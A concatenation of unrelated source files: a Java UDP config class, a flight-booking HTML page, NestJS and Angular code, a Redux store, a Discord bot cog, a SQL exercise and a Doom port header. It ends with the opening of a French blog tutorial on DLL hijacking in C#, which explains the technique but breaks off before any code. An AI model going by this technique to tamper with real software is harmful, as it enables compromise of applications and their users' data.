import static org.apache.seatunnel.connectors.seatunnel.udp.config.UdpSourceConfigOptions.*;
public class UdpSourceParameter implements Serializable {
private final String host;
private final Integer port;
private final String type;
private final String charset;
public String getHost() {
return StringUtils.isBlank(host) ? HOST.defaultValue() : host;
}
public Integer getPort() {
return Objects.isNull(port) ? PORT.defaultValue() : port;
}
public String getType() {
return Objects.isNull(type) ? TYPE.defaultValue() : type;
}
public String getCharset() {
return Objects.isNull(charset) ? CHARSET.defaultValue() : charset;
}
public UdpSourceParameter(Config config) {
if (config.hasPath(HOST.key())) {
this.host = config.getString(HOST.key());
} else {
this.host = HOST.defaultValue();
}
if (config.hasPath(PORT.key())) {
this.port = config.getInt(PORT.key());
} else {
this.port = PORT.defaultValue();
}
if (config.hasPath(CHARSET.key())) {
this.charset = config.getString(CHARSET.key());
} else {
this.charset = CHARSET.defaultValue();
}
if (config.hasPath(TYPE.key())) {
this.type = config.getString(TYPE.key());
} else {
this.type = TYPE.defaultValue();
}
}
}
|
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>WyFly</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Montserrat&family=PT+Sans+Narrow:wght@400;700&family=PT+Sans:wght@400;700&family=Play:wght@400;700&display=swap" rel="stylesheet">
<link href="../css/normalize.css" rel="stylesheet" >
<link href="css/wyfly_styles.css" rel="stylesheet" >
<link href="css/wyfly_calendar.css" rel="stylesheet" >
<script src="scripts/html5shiv.js"></script>
<script src="scripts/wyfly_scripts.js" defer></script>
<script src="scripts/calendar.js" defer></script>
</head>
<body>
<div class="wrapper">
<div class="top">
<header class="header">
<div class="logo">
<img src="img/logo.png" width="96" height="63" alt="logo">
</div>
<nav>
<ul class="menu">
<li><a href="#" class="about">About us</a></li>
<li><a href="#" class="howuse">How to use</a></li>
<li><a href="#" class="wyfly">Wyfly API</a></li>
<li><a href="#" class="faq">FAQ</a></li>
<li><a href="#" class="contacts">Contacts</a></li>
</ul>
</nav>
</header>
<div class="information">
<form action="#" method="post" name="booking" id="booking">
<div class="destination">
<div class="from">
<label for="from">From:</label><br>
<select id="from" name="from" autofocus tabindex="1">
<option value="warsaw">Warsaw</option>
<option value="berlin">Berlin</option>
<option value="riga">Riga</option>
<option value="oslo">Oslo</option>
<option value="stockholm">Stockholm</option>
</select>
</div>
<span class="switch"></span>
<div class="to">
<label for="to">To:</label><br>
<select id="to" name="to" tabindex="5">
<option value="berlin">Berlin</option>
<option value="warsaw">Warsaw</option>
<option value="riga">Riga</option>
<option value="oslo">Oslo</option>
<option value="stockholm">Stockholm</option>
</select>
</div>
</div> <!-- /.destination -->
<div class="params">
<div class="flight right_border">
<label>
<input type="radio" name="flight" value="single" tabindex="10">
<span></span>Single flight
</label>
<label>
<input type="radio" name="flight" value="return" tabindex="15" checked>
<span></span>Return flight
</label>
</div>
<div class="flight left_border">
<label>
<input type="radio" name="class" value="economy" id="class1" tabindex="30" checked>
<span></span>Economy class
</label>
<label>
<input type="radio" name="class" value="business" id="class2" tabindex="35">
<span></span>Business class
</label>
</div>
</div> <!-- /.params -->
<div class="params2">
<div class="dates right_border">
<div class="dateFrom">
<label for="flyout">Fly out:</label><br>
<input type="text" name="flyout" id="flyout" tabindex="20" class="date" placeholder="___.___.___" autocomplete="off">
<table class="hid">
<caption>
<span class="prev"><</span>
<span class="caption"></span>
<span class="next">></span>
</caption>
<thead>
<tr>
<td>Mo</td>
<td>Tu</td>
<td>We</td>
<td>Th</td>
<td>Fr</td>
<td>Sa</td>
<td>Su</td>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
</div>
<div class="dateBack">
<label for="flyback">Fly back:</label><br>
<input type="text" name="flyback" id="flyback" tabindex="25" class="date" placeholder="___.___.___" autocomplete="off">
<table class="hid">
<caption>
<span class="prev"><</span>
<span class="caption"></span>
<span class="next">></span>
</caption>
<thead>
<tr>
<td>Mo</td>
<td>Tu</td>
<td>We</td>
<td>Th</td>
<td>Fr</td>
<td>Sa</td>
<td>Su</td>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
</div>
</div> <!-- /.dates -->
<div class="counters left_border">
<div class="persons">
<div class="adults">
<img src="img/adult_select.png" width="18" height="49" alt="1">
<img src="img/adult.png" width="18" height="49" alt="2">
<img src="img/adult.png" width="18" height="49" alt="3">
<img src="img/adult.png" width="18" height="49" alt="4">
<img src="img/adult.png" width="18" height="49" alt="5">
<img src="img/adult.png" width="18" height="49" alt="6">
<img src="img/adult.png" width="18" height="49" alt="7">
</div> <!-- /.adults -->
<div class="childs">
<div class="children right_border">
children 2-12
<ul>
<li><a href="#" class="active">0</a></li>
<li><a href="#">1</a></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
</ul>
</div>
<div class="babies">
children < 2
<ul>
<li><a href="#" class="active">0</a></li>
<li><a href="#">1</a></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
</ul>
</div>
</div> <!-- /.childs-->
</div> <!-- /.persons -->
<div class="total">
<label>
<input type="text" name="totalAdult" id="totalAdult" value="1">
adults
</label>
<label>
<input type="text" name="totalChilds" id="totalChilds" value="0">
childs
</label>
<label>
<input type="text" name="totalBabies" id="totalBabies" value="0">
babies
</label>
</div>
</div> <!-- /.counters-->
</div><!-- /.params2 -->
<input type="button" name="search" id="search" value="Search">
</form>
</div> <!-- /.info -->
</div> <!--end of top-->
<div class="content">
<figure>
<img src="img/fig1.jpg" alt="изображение">
<figcaption>Specialy for U.S. citizens!<br>
The full list of countries, that are opened for citizens with United States passport. Visa is required.</figcaption>
</figure>
<figure>
<img src="img/fig2.jpg" alt="изображение">
<figcaption>We find the best deals on tickets. Prices include all fees and taxes. More than 1000 airlines and millions of flights.</figcaption>
</figure>
<figure>
<img src="img/fig3.jpg" alt="изображение">
<figcaption>Want to keep abreast of the latest news in the world of tourism, special deals of Airfare, our competitiones and raffles?</figcaption>
</figure>
<div class="email">
<h4>The first to know</h4>
<form action="#" method="post" name="subscribe" class="subscribe">
<p>Special offers on flights, news, ideas for travel, competitions and much more.</p>
<input type="email" name="email" id="email" placeholder="your e-mail">
<label for="email">Your e-mail</label>
<input type="submit" name="subscribeButton" value="subscribe">
</form>
</div>
</div> <!--end of content-->
<footer class="footer">
<ul class="digits">
<li><span class="datas">157'299</span> flights booked </li>
<li><span class="datas">2'749</span> booked today </li>
<li><span class="datas">1'622'795</span> dollars saved </li>
<li><span class="datas">1'721</span> positive reviews</li>
</ul>
<div class="info">
<ul>
<li>for learn</li>
<li><a href="#">Cities +</a></li>
<li><a href="#">Airports</a></li>
<li><a href="#">countries +</a></li>
<li><a href="#">airlines</a></li>
<li><a href="#">Guides</a></li>
</ul>
<ul>
<li>searching tools tickets</li>
<li><a href="#">Affiliate program</a></li>
<li><a href="#">Set wyfly to your site</a></li>
<li><a href="#">API</a></li>
<li><a href="#">Mobile Applications</a></li>
<li><a href="#">Version for mobile</a></li>
</ul>
<ul>
<li>company</li>
<li><a href="#">Privacy policy and use of cookie</a></li>
<li><a href="#">Terms of Service</a></li>
<li><a href="#">Media</a></li>
</ul>
<ul>
<li>help</li>
<li><a href="#">FAQ</a></li>
<li><a href="#">Contact us</a></li>
</ul>
</div> <!-- /.info -->
</footer>
</div> <!--end of wrapper-->
</body>
</html>
|
import { ApiProperty } from '@nestjs/swagger'
import type { ICreateDesktopBodyDto } from 'zjf-types'
import { IsDateString, IsOptional, IsString } from 'class-validator'
export class CreateDesktopBodyDto implements ICreateDesktopBodyDto {
@ApiProperty({ description: '云桌面 id' })
@IsString()
id: string
@ApiProperty({ description: '云桌面名称' })
@IsString()
name: string
@ApiProperty({ description: '内网地址' })
@IsString()
internalIp: string
@ApiProperty({ description: '访问地址' })
@IsString()
accessUrl: string
@ApiProperty({ description: '云桌面账号' })
@IsString()
account: string
@ApiProperty({ description: '云桌面密码' })
@IsString()
password: string
@ApiProperty({ description: '到期时间', required: false })
@IsDateString()
@IsOptional()
expiredAt: Date
}
|
import { Component, OnInit } from '@angular/core';
import {FormArray, FormBuilder, FormControl, FormGroup, NgForm} from '@angular/forms';
import {SalarieService} from '../salarie.service';
import {Router} from '@angular/router';
import {Salarie} from '../Model/Salarie';
import {SalarieRequest} from '../Model/SalarieRequest';
@Component({
selector: 'app-add-salarie',
templateUrl: './add-salarie.component.html',
styleUrls: ['./add-salarie.component.css']
})
export class AddSalarieComponent implements OnInit {
errorMessage;
salarieForm: FormGroup;
fields: any;
critere = new FormControl('');
constructor(private salarieService: SalarieService,
private router: Router,
private fb: FormBuilder
) { }
ngOnInit(): void {
this.fields = {
isRequired: true,
type: {
options: [
{
salno: '',
salname: '',
position: ''
}
]
}
};
this.salarieForm = this.fb.group({
type: this.fb.group({
options: this.fb.array([])
})
});
this.patch();
}
// tslint:disable-next-line:typedef
patch() {
const control = this.salarieForm.get('type.options') as FormArray;
this.fields.type.options.forEach(x => {
control.push(this.patchValues(x.salno, x.salname, x.position));
});
}
// tslint:disable-next-line:typedef
patchValues(salno, salname, position) {
return this.fb.group({
salno: [salno],
salname: [salname],
position: [position]
});
}
// tslint:disable-next-line:typedef
addRow() {
this.patch();
}
addSalarie(formulaire) {
const salarieRequest: SalarieRequest = new SalarieRequest();
const formArray: Salarie[] = formulaire.type.options;
salarieRequest.salaries = formArray;
salarieRequest.critere = this.critere.value;
this.salarieService.addSalarie(salarieRequest).subscribe(
(response) => {
const link = ['salaries'];
this.router.navigate(link);
},
(error) => this.errorMessage = `Erreur de connexion, vous devez contacter l administrateur`
);
}
}
|
import { FaBookmark, FaCloud, FaHardHat, FaLink, FaPlug } from 'react-icons/fa';
import {
SiAmazonaws,
SiAndroid,
SiApollographql,
SiAzurefunctions,
SiChai,
SiCsharp,
SiCss3,
SiCypress,
SiDocker,
SiDotnet,
SiExpress,
SiFigma,
SiGithubactions,
SiGooglecloud,
SiGraphql,
SiHtml5,
SiIonic,
SiJava,
SiJavascript,
SiJest,
SiKotlin,
SiKubernetes,
SiMicrosoftazure,
SiMongodb,
SiMysql,
SiNextdotjs,
SiNodedotjs,
SiPostgresql,
SiPython,
SiReact,
SiRedis,
SiSolidity,
SiSwift,
SiTravisci,
SiTypescript,
} from 'react-icons/si';
import { IconLink, TECH } from './types';
export const TechIconLinks: Record<TECH, IconLink> = {
[TECH.ANDROID]: {
icon: SiAndroid,
link: 'https://developer.android.com/',
},
[TECH.APOLLO]: {
icon: SiApollographql,
link: 'https://www.apollographql.com/',
},
[TECH.AWS]: {
icon: SiAmazonaws,
link: 'https://aws.amazon.com/',
},
[TECH.AZURE]: {
icon: SiMicrosoftazure,
link: 'https://azure.microsoft.com/',
},
[TECH.AZURE_FUNCTIONS]: {
icon: SiAzurefunctions,
link: 'https://azure.microsoft.com/en-us/services/functions/',
},
[TECH.CSHARP]: {
icon: SiCsharp,
link: 'https://github.com/dotnet/csharplang',
},
[TECH.CSS]: {
icon: SiCss3,
link: 'https://www.w3.org/TR/CSS/#css',
},
[TECH.CHAI]: {
icon: SiChai,
link: 'https://www.chaijs.com/',
},
[TECH.CYPRESS]: {
icon: SiCypress,
link: 'https://www.cypress.io/',
},
[TECH.DOCKER]: {
icon: SiDocker,
link: 'https://www.docker.com/',
},
[TECH.DOTNET]: {
icon: SiDotnet,
link: 'https://dotnet.microsoft.com/',
},
[TECH.ETHERS]: {
icon: FaCloud,
link: 'https://docs.ethers.io/',
},
[TECH.EXPRESS]: {
icon: SiExpress,
link: 'http://expressjs.com/',
},
[TECH.FIGMA]: {
icon: SiFigma,
link: 'https://www.figma.com/',
},
[TECH.GCP]: {
icon: SiGooglecloud,
link: 'https://cloud.google.com/',
},
[TECH.GITHUB_ACTIONS]: {
icon: SiGithubactions,
link: 'https://github.com/features/actions',
},
[TECH.GRAPHQL]: {
icon: SiGraphql,
link: 'https://graphql.org/',
},
[TECH.HARDHAT]: {
icon: FaHardHat,
link: 'https://hardhat.org/',
},
[TECH.HTML]: {
icon: SiHtml5,
link: 'https://html.com/html5/',
},
[TECH.IONIC]: {
icon: SiIonic,
link: 'https://ionicframework.com/',
},
[TECH.JAVA]: {
icon: SiJava,
link: 'https://www.java.com/',
},
[TECH.JAVASCRIPT]: {
icon: SiJavascript,
link: 'https://www.javascript.com/',
},
[TECH.JEST]: {
icon: SiJest,
link: 'https://jestjs.io/',
},
[TECH.KOTLIN]: {
icon: SiKotlin,
link: 'https://kotlinlang.org/',
},
[TECH.KTOR]: {
icon: FaBookmark,
link: 'https://ktor.io/',
},
[TECH.KUBERNETES]: {
icon: SiKubernetes,
link: 'https://kubernetes.io/',
},
[TECH.MONGO]: {
icon: SiMongodb,
link: 'https://www.mongodb.com/',
},
[TECH.MYSQL]: {
icon: SiMysql,
link: 'https://www.mysql.com/',
},
[TECH.NEXTJS]: {
icon: SiNextdotjs,
link: 'https://nextjs.org/',
},
[TECH.NODE]: {
icon: SiNodedotjs,
link: 'https://nodejs.org/',
},
[TECH.POSTGRES]: {
icon: SiPostgresql,
link: 'https://www.postgresql.org/',
},
[TECH.PYTHON]: {
icon: SiPython,
link: 'https://www.python.org/',
},
[TECH.REACT]: {
icon: SiReact,
link: 'https://reactjs.org/',
},
[TECH.REACT_NATIVE]: {
icon: SiReact,
link: 'https://reactnative.dev/',
},
[TECH.REDIS]: {
icon: SiRedis,
link: 'https://redis.io/',
},
[TECH.RELAY]: {
icon: FaLink,
link: 'https://relay.dev/',
},
[TECH.SOLIDITY]: {
icon: SiSolidity,
link: 'https://soliditylang.org/',
},
[TECH.SWIFT]: {
icon: SiSwift,
link: 'https://developer.apple.com/swift/',
},
[TECH.TRAVIS_CI]: {
icon: SiTravisci,
link: 'https://www.travis-ci.com/',
},
[TECH.TYPECHAIN]: {
icon: FaPlug,
link: 'https://github.com/dethcrypto/TypeChain',
},
[TECH.TYPESCRIPT]: {
icon: SiTypescript,
link: 'https://www.typescriptlang.org/',
},
};
|
import { contactsReducer } from './contactsSlice';
import { filtersReducer } from './filterSlice';
import { combineReducers, configureStore } from '@reduxjs/toolkit';
import {
persistStore,
FLUSH,
REHYDRATE,
PAUSE,
PERSIST,
PURGE,
REGISTER,
} from 'redux-persist';
import { persistReducer } from 'redux-persist';
import storage from 'redux-persist/lib/storage';
const persistConfig = {
key: 'contacts',
storage,
};
const reducers = combineReducers({
contacts: contactsReducer,
filter: filtersReducer,
});
const contactsPersistedReducer = persistReducer(persistConfig, reducers);
export const store = configureStore({
reducer: contactsPersistedReducer,
middleware: getDefaultMiddleware =>
getDefaultMiddleware({
serializableCheck: {
ignoredActions: [FLUSH, REHYDRATE, PAUSE, PERSIST, PURGE, REGISTER],
},
}),
});
export const persistor = persistStore(store);
|
import utils
import database
from discord.ext import commands, tasks
import settings
import sys
import traceback
from datetime import datetime, timedelta
from sqlalchemy import text
class MonthlyChallenge(commands.Cog):
def __init__(self, client):
self.client = client
self._last_member = None
self.update_challenge_data.start()
async def chal_toggle(self, ctx, beforeRole, afterRole):
await utils.emoji(ctx)
newParticipants = []
print('Starting new month now.')
before = ctx.guild.get_role(beforeRole)
after = ctx.guild.get_role(afterRole)
members = await ctx.guild.fetch_members(limit=None).flatten()
for member in members:
for role in member.roles:
if role.id == beforeRole:
await member.add_roles(after)
newParticipants.append(member)
await member.remove_roles(before)
break
await ctx.send(f"Challenge participants {len(newParticipants)}")
print(len(newParticipants))
@commands.command(name='challenge', aliases=['chal'])
@commands.has_any_role(
settings.config["staffRoles"]["head-dev"],
settings.config["staffRoles"]["developer"])
async def challenge(self, ctx, challenge, action):
"""This is the command to manage the starting and stopping of all challenges running on the servers, as it
stands the three challenges are 'Monthly Challenge', 'Yearly Challenge', 'Deadpool Challenge'.
Args:
**challenge:** This is the challenge you want to toggle, please enter 'monthly', 'yearly', or 'deadpool'
**action:** This is where you specify wether you want to start or stop the challenge, please be aware that
these actions can take large amount of time to complete. Do not spam the command, if you are concerned
about how long it taking please contact a developer"
"""
if challenge == 'monthly':
channel = ctx.guild.get_channel(settings.config["channels"]["monthly-challenge"])
role = ctx.guild.get_role(settings.config["challenges"]["monthly-challenge-participant"])
if action == 'start':
await self.chal_toggle(ctx, settings.config["challenges"]["monthly-challenge-signup"], settings.config["challenges"]["monthly-challenge-participant"])
await channel.send(f'{role.mention} the new monthly challenge has started! Please be sure to grab the role again to be signed up for the next one')
if action == 'stop':
await self.chal_toggle(ctx, settings.config["challenges"]["monthly-challenge-participant"], settings.config["challenges"]["monthly-challenge-winner"])
database.conn.execute(text(f'update challenge_data set historical = 1 where challenge_name = \'monthly\''))
if challenge == 'yearly':
if action == 'start':
await self.chal_toggle(ctx, settings.config["challenges"]["yearly-challenge-signup"], settings.config["challenges"]["yearly-challenge-participant"])
if action == 'stop':
await self.chal_toggle(ctx, settings.config["challenges"]["yearly-challenge-participant"], settings.config["challenges"]["2021-challenge-winner"])
database.conn.execute(text(f'update challenge_data set historical = 1 where challenge_name = \'yearly\''))
if challenge == 'deadpool':
if action == 'start':
await self.chal_toggle(ctx, settings.config["challenges"]["deadpool-signup"], settings.config["challenges"]["deadpool-participant"])
if action == 'stop':
await self.chal_toggle(ctx, settings.config["challenges"]["deadpool-participant"], settings.config["challenges"]["deadpool-winner"])
database.conn.execute(text(f'update challenge_data set historical = 1 where challenge_name = \'deadpool\''))
@challenge.error
async def challeneHandler(self, ctx, error):
if isinstance(error, commands.CheckFailure):
await utils.emoji(ctx, '❌')
elif isinstance(error, commands.MissingRequiredArgument):
await ctx.send('Please selected the challenge and/or action you would like to commit')
else:
print('\n--------', file=sys.stderr)
print(f'Time : {utils.timestr}', file=sys.stderr)
print(f'Command : {ctx.command}', file=sys.stderr)
print(f'Message : {ctx.message.content}', file=sys.stderr)
print(f'Author : {ctx.author}', file=sys.stderr)
print(" ", file=sys.stderr)
traceback.print_exception(type(error), error, error.__traceback__, file=sys.stderr)
@commands.command(name="participation", pass_context=True)
async def participation_amount(self, ctx):
"""sends the current number of users with the M-Challenge participant role"""
mpartcipants = len(await utils.role_pop(ctx, settings.config["challenges"]["monthly-challenge-participant"]))
ypartcipants = len(await utils.role_pop(ctx, settings.config["challenges"]["yearly-challenge-participant"]))
dparticipants = len(await utils.role_pop(ctx, settings.config["challenges"]["deadpool-participant"]))
await utils.doembed(ctx, "Challenge statics", "Participation", f"\nMonthly Challenge Members left: {mpartcipants}\nYearly Challenge Members left: {ypartcipants}\nDeadpool Challenge Members Left: {dparticipants}", ctx.author, True)
@commands.command(name='monthlychallenge')
async def MonthlyChallenge(self, ctx):
"""command you use to give yourself the Monthly Challenge Signup role"""
signup_role = ctx. guild.get_role(settings.config["challenges"]["monthly-challenge-signup"])
await ctx.author.add_roles(signup_role)
await utils.emoji(ctx)
@commands.command(name="yearlychallenge")
async def yearlychallenge(self, ctx):
"""Command you use to give yourself the Yearly Challenge Signup role"""
signup_role = ctx.guild.get_role(settings.config["challenges"]["yearly-challenge-signup"])
await ctx.author.add_roles(signup_role)
await utils.emoji(ctx)
@commands.command(name='deadpool')
async def deadpool_signup(self, ctx):
"""Command you use to give yourself the Deadpool Signup role"""
result = await database.userdata_select_query(ctx.author.id, False)
if result[1] is not None and result[1] != 0:
past_streak_time = datetime.fromtimestamp(result[1])
if datetime.utcnow() > past_streak_time + timedelta(days=30):
await ctx.channel.send("Cannot join because you're too far along in your streak. Congratulations!")
return
else:
await ctx.channel.send("No streak data found. Please set your streak before entering the competition.")
return
signupRole = ctx.guild.get_role(settings.config["challenges"]["deadpool-signup"])
await ctx.author.add_roles(signupRole)
await utils.emoji(ctx)
@tasks.loop(hours=12)
async def update_challenge_data(self):
monthly_data_query = text(
f"select * from challenge_data where challenge_name = 'monthly' and CAST(updated_at as DATE) = UTC_DATE")
monthly_data = database.conn.execute(monthly_data_query).fetchall()
if len(monthly_data) == 0:
role = self.client.get_guild(settings.config["serverId"]).get_role(settings.config["challenges"]["monthly-challenge-participant"])
member_count = len(role.members)
insert_record_query = text(f'insert into challenge_data(challenge_name, updated_at, participant_count) values(\'monthly\', UTC_TIMESTAMP(), {member_count})')
database.conn.execute(insert_record_query)
yearly_data_query = text(f"select * from challenge_data where challenge_name = 'yearly' and CAST(updated_at as DATE) = UTC_DATE")
yearly_data = database.conn.execute(yearly_data_query).fetchall()
if len(yearly_data) == 0:
role = self.client.get_guild(settings.config["serverId"]).get_role(settings.config["challenges"]["yearly-challenge-participant"])
member_count = len(role.members)
insert_record_query = text(f'insert into challenge_data(challenge_name, updated_at, participant_count) values(\'yearly\', UTC_TIMESTAMP(), {member_count})')
database.conn.execute(insert_record_query)
deadpool_data_query = text(f"select * from challenge_data where challenge_name = 'deadpool' and CAST(updated_at as DATE) = UTC_DATE")
deadpool_data = database.conn.execute(deadpool_data_query).fetchall()
if len(deadpool_data) == 0:
role = self.client.get_guild(settings.config["serverId"]).get_role(settings.config["challenges"]["deadpool-participant"])
member_count = len(role.members)
insert_record_query = text(f'insert into challenge_data(challenge_name, updated_at, participant_count) values(\'deadpool\', UTC_TIMESTAMP(), {member_count})')
database.conn.execute(insert_record_query)
# Code is implemented in Rust.
@commands.command(name="produce_graph")
async def produce_graph(self, challenge):
"""Create a graph of participants for a given challenge. Options are: monthly, yearly, or deadpool"""
pass
def setup(client):
client.add_cog(MonthlyChallenge(client))
|
**Author_DB activity**
* In this activity you are going to write the SQL that will create a database and run Full CRUD commands on it.
* Start with these 3 statements:
```sql
DROP DATABASE IF EXISTS author_db;
CREATE DATABASE author_db;
USE author_db;
```
- DROP DATABASE IF EXISTS: Removes your database if it exists, which is good for development purposes because it allows you to start with a clean database when you run your SQL commands.
- CREATE DATABASE: Creates the database with the name given.
- USE DATABASE: Tells MySQL which database that you are going to be working with.
* Add the following steps in order to ensure that you are creating your tables before trying to insert data or select data from it.
**Create**
1. Create the Authors table:
```sql
CREATE TABLE Authors (
author_id INT AUTO_INCREMENT,
name VARCHAR(50) NOT NULL,
birth_date DATE,
nationality VARCHAR(50),
active_years VARCHAR(50),
PRIMARY KEY (author_id)
);
```
**Create Authors**
Let's create three authors: Jane Austen, J.K. Rowling, and Mark Twain (OR any 3 that you would like).
[INSERT INTO](https://www.w3schools.com/sql/sql_insert.asp)
Inserting multiple values at once:
```sql
INSERT INTO table_name (column_name1, column_name2)
VALUES (value_for_column1, value_for_column2),
(value_for_column1, value_for_column2),
(value_for_column1, value_for_column2);
```
2. Create the Books table:
```sql
CREATE TABLE Books (
book_id INT AUTO_INCREMENT,
author_id INT,
title VARCHAR(50) NOT NULL,
publication_date DATE,
genre VARCHAR(50),
page_count INT,
PRIMARY KEY (book_id),
FOREIGN KEY (author_id) REFERENCES Authors(author_id)
);
```
**Create Books**
Next, we'll create nine books and assign three books to each author. Note that `author_id` 1 will correspond to Jane Austen, 2 to J.K. Rowling, and 3 to Mark Twain, as those were the order we inserted them in. (If you did different authors then just make sure to follow the same convention.)
[INSERT INTO](https://www.w3schools.com/sql/sql_insert.asp)
**Retrieve (Read)**
3. Retrieve all records from the Authors and Books tables.
[SELECT](https://www.w3schools.com/sql/sql_select.asp)
**Update**
4. Update an author's or a book's information. For instance, change an author's active years or a book's page count.
[UPDATE](https://www.w3schools.com/sql/sql_update.asp)
**Delete**
5. Delete a record from the Authors or Books table.
[DELETE](https://www.w3schools.com/sql/sql_delete.asp)
**Extra Queries**
6. **SELECT SPECIFIC FIELDS**: Retrieve specific fields from a table.
[SELECT](https://www.w3schools.com/sql/sql_select.asp)
7. **WHERE**: Use a `WHERE` clause to filter records.
[WHERE](https://www.w3schools.com/sql/sql_where.asp)
8. **ORDER BY**: Order the books by their publication_date.
[ORDER BY](https://www.w3schools.com/sql/sql_orderby.asp)
9. **JOIN**: Select the name from the authors table and titles from the books table e given an author_id. INNER JOIN is the default JOIN.
[JOIN](https://www.w3schools.com/sql/sql_join.asp)
10. **BONUS: SUB-QUERIES**: Use a sub-query to find records based on the result of another query. Do a SELECT statement to get all the books WHERE the author_id is found by running another SELECT statement.
[IN](https://www.w3schools.com/sql/sql_in.asp)
|
/* Emacs style mode select -*- C++ -*-
*-----------------------------------------------------------------------------
*
*
* PrBoom: a Doom port merged with LxDoom and LSDLDoom
* based on BOOM, a modified and improved DOOM engine
* Copyright (C) 1999 by
* id Software, Chi Hoang, Lee Killough, Jim Flynn, Rand Phares, Ty Halderman
* Copyright (C) 1999-2000 by
* Jess Haas, Nicolas Kalkhof, Colin Phipps, Florian Schulze
* Copyright 2005, 2006 by
* Florian Schulze, Colin Phipps, Neil Stevens, Andrey Budko
* Copyright 2023, 2024 by
* Frenkel Smeijers
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* DESCRIPTION:
* Player state structure.
*
*-----------------------------------------------------------------------------*/
#ifndef __D_PLAYER__
#define __D_PLAYER__
// The player data structure depends on a number
// of other structs: items (internal inventory),
// animation states (closely tied to the sprites
// used to represent them, unfortunately).
#include "d_items.h"
#include "p_pspr.h"
// In addition, the player is just a special
// case of the generic moving object/actor.
#include "p_mobj.h"
// Finally, for odd reasons, the player input
// is buffered within the player data struct,
// as commands per game tick.
#include "d_ticcmd.h"
//
// Player states.
//
typedef enum
{
// Playing or camping.
PST_LIVE,
// Dead on the ground, view follows killer.
PST_DEAD,
// Ready to restart/respawn???
PST_REBORN
} playerstate_t;
//
// Extended player object info: player_t
//
typedef struct player_s
{
mobj_t __far* mo;
playerstate_t playerstate;
ticcmd_t cmd;
// Determine POV,
// including viewpoint bobbing during movement.
// Focal origin above r.z
fixed_t viewz;
// Base height above floor for viewz.
fixed_t viewheight;
// Bob/squat speed.
fixed_t deltaviewheight;
// bounded/scaled total momentum.
fixed_t bob;
/* killough 10/98: used for realistic bobbing (i.e. not simply overall speed)
* mo->momx and mo->momy represent true momenta experienced by player.
* This only represents the thrust that the player applies himself.
* This avoids anomolies with such things as Boom ice and conveyors.
*/
fixed_t momx, momy; // killough 10/98
// This is only used between levels,
// mo->health is used during levels.
int16_t health;
int16_t armorpoints;
// Armor type is 0-2.
int16_t armortype;
// Power ups. invinc and invis are tic counters.
int16_t powers[NUMPOWERS];
boolean cards[NUMCARDS];
boolean backpack;
// Frags, kills of other players.
weapontype_t readyweapon;
// Is wp_nochange if not changing.
weapontype_t pendingweapon;
int16_t weaponowned[NUMWEAPONS];
int16_t ammo[NUMAMMO];
int16_t maxammo[NUMAMMO];
// True if button down last tic.
boolean attackdown;
boolean usedown;
// Refired shots are less accurate.
int16_t refire;
// Hint messages. // CPhipps - const
const char* message;
// For screen flashing (red or bright).
int16_t damagecount;
int16_t bonuscount;
// Who did damage (NULL for floors/ceilings).
mobj_t __far* attacker;
// So gun flashes light up areas.
int16_t extralight;
// Current PLAYPAL, ???
// can be set to REDCOLORMAP for pain, etc.
int16_t fixedcolormap;
// Overlay view sprites (gun, etc).
pspdef_t psprites[NUMPSPRITES];
// True if secret level has been done.
boolean didsecret;
} player_t;
#endif
|
---
title: "Pourquoi il faut sécuriser vos DLL P1"
date: 2021-10-25T12:00:00Z
description: "Voici comment Détourner une DLL C# Part1"
categories: ["articles"]
tags: ["reverse","tuto"]
keywords: ["tuto", "reverse", "dotnet", ".net","ctf","dll","hijacked","dll hijacking"]
---
## Introduction
Une DLL (Dynamic Link Library) est une bibliothèque logicielle qui permet le partage, par des programmes, de codes.
Pour résumer, c'est une bibliothèque avec plusieurs fonctions à l'intérieur. C'est très utile pour ne pas toujours coder la même chose.
On code une fois la DLL et on a plus qu'a appelé ses fonctions dans tous ses projets.
L'avantage du C# est qu'il existe un grand nombre de bibliothèques, et la plupart sont Open-Source, sur GitHub principalement
### DLL Hijacking
Tout le problème est que ces DLL sont vulnérables à toutes modifications extérieurs et peuvent mener à de gros soucis sur l'assembly attaqué.
Le but d'une Dll Hijacking est de remplacé la véritable bibliothèque par une dll modifiée portant le même nom. Il faut donc conserver toutes les fonctions présentes sur l'original et y rajouter votre code à l'intérieur.
*Exemple*:
*Imaginons une application qui gère nos mots de passes. L'application est très sécurisée et il semble impossible de retrouver le code source .*
